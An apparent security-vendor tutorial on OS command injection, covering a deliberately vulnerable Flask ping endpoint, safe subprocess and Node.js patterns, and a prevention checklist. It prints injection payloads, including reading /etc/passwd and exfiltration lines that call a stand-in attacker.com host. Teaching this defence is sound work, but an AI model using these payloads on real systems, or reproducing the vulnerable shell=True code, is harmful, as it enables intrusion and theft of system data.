What Command Injection Is
Command injection (OS command injection) occurs when user-supplied input is passed to a system shell command without proper sanitisation, allowing an attacker to append additional shell commands that the server executes. The attacker isn't exploiting a memory vulnerability or a zero-day β they're abusing the shell's command parsing to make the server run commands of their choosing.
This appears wherever an application shells out to run external programs: image processing (ImageMagick, ffmpeg), network utilities (ping, nslookup), file conversion tools, security scanners, CI/CD build steps, anything that calls subprocess, exec(), or system() with user-controlled values.
OWASP A03:2021: Injection is third on the OWASP Top 10. Command injection is the most severe sub-type β it typically results in full server compromise with no further exploitation needed.
How It Works β The Classic Example
A web app lets users ping a host to check connectivity. The backend runs the OS ping command with the user-provided hostname:
import subprocess from flask import request # Vulnerable β user input goes directly into shell command string @app.post("/ping") def ping(): host = request.json.get("host") result = subprocess.run( f"ping -c 1 {host}", shell=True, capture_output=True, text=True ) return result.stdout
A legitimate user sends {"host": "8.8.8.8"}. An attacker sends {"host": "8.8.8.8; cat /etc/passwd"}. The shell processes both commands: ping runs, then cat /etc/passwd runs, and the output comes back in the response.
We've seen this in image processors: Applications that call ImageMagick or ffmpeg with filenames from user uploads are a classic source of command injection. The ImageMagick vulnerabilities ("ImageTragick") were a real-world example of this β crafted image filenames executing arbitrary commands.
Blind Command Injection (Time-based)
Often the application doesn't return command output β but the vulnerability is still exploitable. Time-based detection uses the sleep command: if injecting ; sleep 10 causes a 10-second delay in the response, command injection is confirmed.
# Time-based detection β 10 second delay confirms injection 8.8.8.8; sleep 10 8.8.8.8 && sleep 10 8.8.8.8 | sleep 10 `sleep 10` $(sleep 10) # Out-of-band exfiltration 8.8.8.8; curl http://attacker.com/$(whoami) 8.8.8.8; nslookup $(cat /etc/passwd | base64).attacker.com
Chaining Commands
The shell provides multiple operators for command chaining, each with different execution conditions:
;β run both commands regardless of exit code&&β run second command only if first succeeds||β run second command only if first fails|β pipe output of first to second`cmd`or$(cmd)β command substitution, output inserted inline&β run in background
Simple blacklisting of ; doesn't help β attackers use the other operators. Input validation by allowlist (only allow alphanumeric + dots for an IP address) is much more robust, but the real fix is avoiding the shell entirely.
Why shell=True in Python Is Dangerous
When you pass shell=True to subprocess.run(), Python passes the command to the OS shell (/bin/sh -c). The shell then parses it β which means shell metacharacters like ;, &&, $() are interpreted as commands, not data.
import subprocess # WRONG β shell=True with user input is command injection subprocess.run(f"convert {user_filename} output.png", shell=True) # RIGHT β pass as a list, no shell involved subprocess.run( ["convert", user_filename, "output.png"], shell=False, # default, but explicit is better check=True ) # Even better β validate filename before passing to subprocess import re if not re.match(r'^[\w\-\.]+$', user_filename): raise ValueError("Invalid filename") subprocess.run(["convert", user_filename, "output.png"], check=True)
When you pass a list, Python passes each element as a separate argument directly to the process β no shell parsing, no metacharacter interpretation. The attacker's ; cat /etc/passwd becomes a literal argument to the program, which doesn't know what to do with it and typically fails harmlessly.
Safe Subprocess Usage Patterns
import subprocess, shlex # Pattern 1: List form β preferred result = subprocess.run( ["ffmpeg", "-i", input_path, "-codec:v", "copy", output_path], capture_output=True, text=True, timeout=30 ) # Pattern 2: If you must use shell=True (try not to), # use shlex.quote to escape individual arguments safe_arg = shlex.quote(user_input) subprocess.run(f"some_cmd {safe_arg}", shell=True) # Pattern 3: For network-related features, use Python libraries # instead of shelling out to ping/nslookup/curl import socket socket.gethostbyname(hostname) # DNS lookup without shell
Prefer native libraries: For most tasks that developers shell out for β network probes, file operations, image processing β there are Python/Node/Java libraries that do the same thing without spawning a shell. This removes the attack surface entirely rather than hardening it.
Node.js exec vs execFile
const { exec, execFile } = require('child_process'); // WRONG β exec spawns a shell, user input interpreted as commands exec(`ping -c 1 ${userHost}`, (err, stdout) => { ... }); // RIGHT β execFile spawns the program directly, no shell execFile('ping', ['-c', '1', userHost], (err, stdout) => { ... }); // Also right β spawn with no shell const { spawn } = require('child_process'); const proc = spawn('ping', ['-c', '1', userHost], { shell: false });
In Node.js: exec() and execSync() pass the command to a shell. execFile() and spawn() with shell: false do not. Always use the latter when user input is involved.
Detection with SAST
Command injection is one of SAST's strongest detection categories. The pattern is explicit: user-controlled data flows into subprocess.run(..., shell=True), os.system(), exec(), popen(), or equivalent. SAST tools trace taint from HTTP inputs to shell execution sinks and flag any path where the data isn't fully allowlisted or separated from the command structure.
Prevention Checklist
- Never use shell=True with user input β use list form subprocess calls instead
- Use native libraries β prefer Python's
socket,requests,Pillowover shelling out - If shell is unavoidable, use shlex.quote() β to escape arguments before interpolation
- Validate inputs by allowlist β IP addresses should match
[0-9.]+; filenames should be alphanumeric - Run app processes with minimal OS privileges β a compromised process with limited permissions does less damage
- Use execFile/spawn in Node.js β not exec/execSync when user input is involved
- Run SAST in CI β detect dangerous subprocess patterns before they ship
Detect Command Injection Before It Ships
AquilaX SAST traces tainted input to shell execution sinks across your entire codebase β catching command injection in every pull request.
Start Free Scan